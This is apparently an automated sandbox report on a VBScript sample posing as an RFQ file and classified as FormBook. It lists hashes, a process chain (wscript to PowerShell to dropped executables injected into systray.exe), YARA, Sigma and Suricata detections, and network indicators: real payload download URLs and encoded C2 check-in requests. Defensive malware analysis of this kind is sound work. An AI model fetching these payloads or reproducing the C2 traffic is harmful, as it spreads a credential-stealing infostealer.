Edit tour

Windows Analysis Report
BINATONE LLC RFQ.Vbs.vbs

Overview

General Information

Sample name:	BINATONE LLC RFQ.Vbs.vbs
Analysis ID:	1612328
MD5:	61667d33a7fa522f455efb015d93f29e
SHA1:	41eb03c751f513ce2fd7ce63d6eebc1ef168e658
SHA256:	a1103038e29734e77633a9f1f99e39149aa575f72b70f05f1fafb2de6e4986e5
Tags:	vbsuser-abuse_ch
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

VBScript performs obfuscated calls to suspicious functions

Yara detected FormBook

Found direct / indirect Syscall (likely to bypass EDR)

Found suspicious powershell code related to unpacking or dynamic code loading

Joe Sandbox ML detected suspicious sample

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

Performs DNS queries to domains with low reputation

Powershell drops PE file

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Script Initiated Connection

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2956 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\BINATONE LLC RFQ.Vbs.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 1848 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\JSDSDGSD.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

x.exe (PID: 5752 cmdline: "C:\Users\user\AppData\Local\Temp\x.exe" MD5: 7780AB6178383B8DC62F72D402C1148F)

RegAAsm.exe (PID: 2800 cmdline: "C:\Users\user\AppData\Local\Temp\RegAAsm.exe" MD5: 7176873D83D97247C18A9037FFA5964F)

HDIZeRcLxXsNvd.exe (PID: 2764 cmdline: "C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\qHLc38NH7.exe" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A)

systray.exe (PID: 6540 cmdline: "C:\Windows\SysWOW64\systray.exe" MD5: 28D565BB24D30E5E3DE8AFF6900AF098)

firefox.exe (PID: 7120 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.3362243547.0000000002BB0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.3363072352.00000000015C0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.2678660679.00000000035F0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000009.00000002.3362422336.0000000003060000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.3363813241.0000000005020000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000009.00000002.3362962777.0000000004950000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.2677237054.00000000007D1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.2677849171.0000000001320000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
Process Memory Space: powershell.exe PID: 1848	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x9257f:$b1: ::WriteAllBytes( 0x9259b:$b2: ::FromBase64String( 0xd98e:$s1: -join 0x1ac0f:$s1: -join 0x1e0d1:$s1: -join 0x1e76b:$s1: -join 0x20267:$s1: -join 0x224c9:$s1: -join 0x22cf0:$s1: -join 0x23561:$s1: -join 0x23c9c:$s1: -join 0x23cce:$s1: -join 0x23d16:$s1: -join 0x23d35:$s1: -join 0x24586:$s1: -join 0x24702:$s1: -join 0x2477a:$s1: -join 0x2480d:$s1: -join 0x24a73:$s1: -join 0x26c37:$s1: -join 0x3569b:$s1: -join
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.RegAAsm.exe.7d0000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security

Sigma Signatures

System Summary

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 87.120.120.56, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 2956, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\BINATONE LLC RFQ.Vbs.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\BINATONE LLC RFQ.Vbs.vbs", CommandLine|base64offset|contains: ,, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\BINATONE LLC RFQ.Vbs.vbs", ProcessId: 2956, ProcessName: wscript.exe

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 87.120.120.56, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 2956, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\BINATONE LLC RFQ.Vbs.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\BINATONE LLC RFQ.Vbs.vbs", CommandLine|base64offset|contains: ,, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\BINATONE LLC RFQ.Vbs.vbs", ProcessId: 2956, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\JSDSDGSD.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\JSDSDGSD.ps1", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\BINATONE LLC RFQ.Vbs.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2956, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\JSDSDGSD.ps1", ProcessId: 1848, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Windows executable base64 encoded

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-11T18:16:23.984387+0100	2018856	1	A Network Trojan was detected	87.120.120.56	80	192.168.2.5	49704	TCP

ETPRO MALWARE FormBook CnC Checkin (GET) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-11T18:17:36.193139+0100	2855465	1	A Network Trojan was detected	192.168.2.5	49979	13.248.169.48	80	TCP
2025-02-11T18:17:59.423104+0100	2855465	1	A Network Trojan was detected	192.168.2.5	49984	188.114.96.3	80	TCP
2025-02-11T18:18:12.590995+0100	2855465	1	A Network Trojan was detected	192.168.2.5	49988	13.248.169.48	80	TCP
2025-02-11T18:18:25.993475+0100	2855465	1	A Network Trojan was detected	192.168.2.5	49992	199.59.243.228	80	TCP

ETPRO MALWARE FormBook CnC Checkin (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-11T18:17:51.788616+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49981	188.114.96.3	80	TCP
2025-02-11T18:17:54.338121+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49982	188.114.96.3	80	TCP
2025-02-11T18:17:56.873315+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49983	188.114.96.3	80	TCP
2025-02-11T18:18:05.995722+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49985	13.248.169.48	80	TCP
2025-02-11T18:18:07.505800+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49986	13.248.169.48	80	TCP
2025-02-11T18:18:10.053088+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49987	13.248.169.48	80	TCP
2025-02-11T18:18:18.365894+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49989	199.59.243.228	80	TCP
2025-02-11T18:18:20.916150+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49990	199.59.243.228	80	TCP
2025-02-11T18:18:23.465679+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49991	199.59.243.228	80	TCP
2025-02-11T18:18:32.133417+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49993	188.114.97.3	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://87.120.120.56/crypt/blaq.exe

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\x.exe	Avira: detection malicious, Label: HEUR/AGEN.1313095

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe

ReversingLabs: Detection: 64%

Multi AV Scanner detection for submitted file

Source: BINATONE LLC RFQ.Vbs.vbs

Virustotal: Detection: 18%

Perma Link

Yara detected FormBook

Source: Yara match	File source: 5.2.RegAAsm.exe.7d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.3362243547.0000000002BB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3363072352.00000000015C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2678660679.00000000035F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3362422336.0000000003060000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3363813241.0000000005020000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3362962777.0000000004950000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2677237054.00000000007D1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2677849171.0000000001320000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\x.exe	Joe Sandbox ML: detected

Source:	Binary string: systray.pdb source: RegAAsm.exe, 00000005.00000003.2642661331.0000000000E5D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: systray.pdbGCTL source: RegAAsm.exe, 00000005.00000003.2642661331.0000000000E5D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: RegAAsm.exe, 00000005.00000003.2577245110.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, RegAAsm.exe, 00000005.00000002.2678032465.000000000153E000.00000040.00001000.00020000.00000000.sdmp, RegAAsm.exe, 00000005.00000003.2575010609.0000000001045000.00000004.00000020.00020000.00000000.sdmp, RegAAsm.exe, 00000005.00000002.2678032465.00000000013A0000.00000040.00001000.00020000.00000000.sdmp, systray.exe, 00000009.00000003.2679203136.0000000004BC8000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000009.00000002.3363259888.0000000004F0E000.00000040.00001000.00020000.00000000.sdmp, systray.exe, 00000009.00000002.3363259888.0000000004D70000.00000040.00001000.00020000.00000000.sdmp, systray.exe, 00000009.00000003.2674514644.0000000004A14000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: RegAAsm.exe, RegAAsm.exe, 00000005.00000003.2577245110.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, RegAAsm.exe, 00000005.00000002.2678032465.000000000153E000.00000040.00001000.00020000.00000000.sdmp, RegAAsm.exe, 00000005.00000003.2575010609.0000000001045000.00000004.00000020.00020000.00000000.sdmp, RegAAsm.exe, 00000005.00000002.2678032465.00000000013A0000.00000040.00001000.00020000.00000000.sdmp, systray.exe, systray.exe, 00000009.00000003.2679203136.0000000004BC8000.00000004.00000020.00020000.00000000.sdmp, systray.exe, 00000009.00000002.3363259888.0000000004F0E000.00000040.00001000.00020000.00000000.sdmp, systray.exe, 00000009.00000002.3363259888.0000000004D70000.00000040.00001000.00020000.00000000.sdmp, systray.exe, 00000009.00000003.2674514644.0000000004A14000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: HDIZeRcLxXsNvd.exe, 00000008.00000002.3362241286.00000000004AF000.00000002.00000001.01000000.0000000A.sdmp

Source: C:\Windows\SysWOW64\systray.exe

Code function: 9_2_02BCCA20 FindFirstFileW,FindNextFileW,FindClose,

9_2_02BCCA20

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 4x nop then pop edi	8_2_015D512A
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 4x nop then xor eax, eax	8_2_015DA999
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 4x nop then pop edi	8_2_015E621B
Source: C:\Program Files (x86)\akoHchWxKbrkcxOFTdEFmULAgwfAVGNxHrLrhvUyoWoGkJQwBoJrBdbwpkDKDIRhBCAnfYqIiX\HDIZeRcLxXsNvd.exe	Code function: 4x nop then pop edi	8_2_015D5E2E
Source: C:\Windows\SysWOW64\systray.exe	Code function: 4x nop then xor eax, eax	9_2_02BB9F60
Source: C:\Windows\SysWOW64\systray.exe	Code function: 4x nop then mov ebx, 00000004h	9_2_04BB04BF

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2018856 - Severity 1 - ET MALWARE Windows executable base64 encoded : 87.120.120.56:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49984 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49988 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49990 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49993 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49987 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49981 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49985 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49991 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49979 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49983 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49989 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49986 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49982 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49992 -> 199.59.243.228:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 87.120.120.56 80

Source:	DNS query: www.zkplant.xyz
Source:	DNS query: www.meacci.xyz

Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 87.120.120.56

Source: global traffic	HTTP traffic detected: GET /crypt/blaqq.ps1 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 87.120.120.56Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /crypt/blaq.exe HTTP/1.1Host: 87.120.120.56Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /t2z5/?y2S=EVRHgpGhH&R2Pdz6z=8VSe6D3+FdM96toZZUGywJ1DVdRTA+eWswse+lRCZ5nd7JghEm3UTq1Rza0ArSKGlR2SDZuSDjjXV5rchgKJLSqvVnsCaaycbDRjKL0/ooJrL1Hb0aBfmSMKdswh9JhSbw== HTTP/1.1Host: www.zkplant.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; GT-P5200 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /gc4d/?R2Pdz6z=LebFdeUSCMRA/h5tZLycaH7jqAY1vcKCCUGQxkTYOySh8g+yOOCAzgs61Icsq5MKVQ4M10tPO8U+pEslzEpxyKOmXBj1eqfcXSJe7zxRH3B85h1j/tJSgpcu0C0SlXp5Og==&y2S=EVRHgpGhH HTTP/1.1Host: www.adventurerepair24.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; GT-P5200 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ieqn/?R2Pdz6z=TXRwMNvNe7nWWxt3foly+vYqMMoYCv5ex1DbWUgtb2d4F8KnEpYV+vzhvlMsQa+lONHY0YO0NRtIMjRYmzePLVgH7GtSKegHe4K9kT7HvpWQZuKLFIjswIaoNQtKaIPyYQ==&y2S=EVRHgpGhH HTTP/1.1Host: www.meacci.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; GT-P5200 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /f0c8/?R2Pdz6z=AHWHpIA83/7LQm5zc0lHPZL2Z5yUztqrVryDOXq41boPuGcZhCFY31qeBhUxRWAvz/oWZxf8/TvWsA/XLj8peYqUpYM4Gw3Jjp9Dwid7Hyhq7fIRl4Ljybjye2cQEtfmHw==&y2S=EVRHgpGhH HTTP/1.1Host: www.sfrouter.expressAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; GT-P5200 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.zkplant.xyz
Source: global traffic	DNS traffic detected: DNS query: www.adventurerepair24.live
Source: global traffic	DNS traffic detected: DNS query: www.meacci.xyz
Source: global traffic	DNS traffic detected: DNS query: www.sfrouter.express
Source: global traffic	DNS traffic detected: DNS query: www.trosky.lol

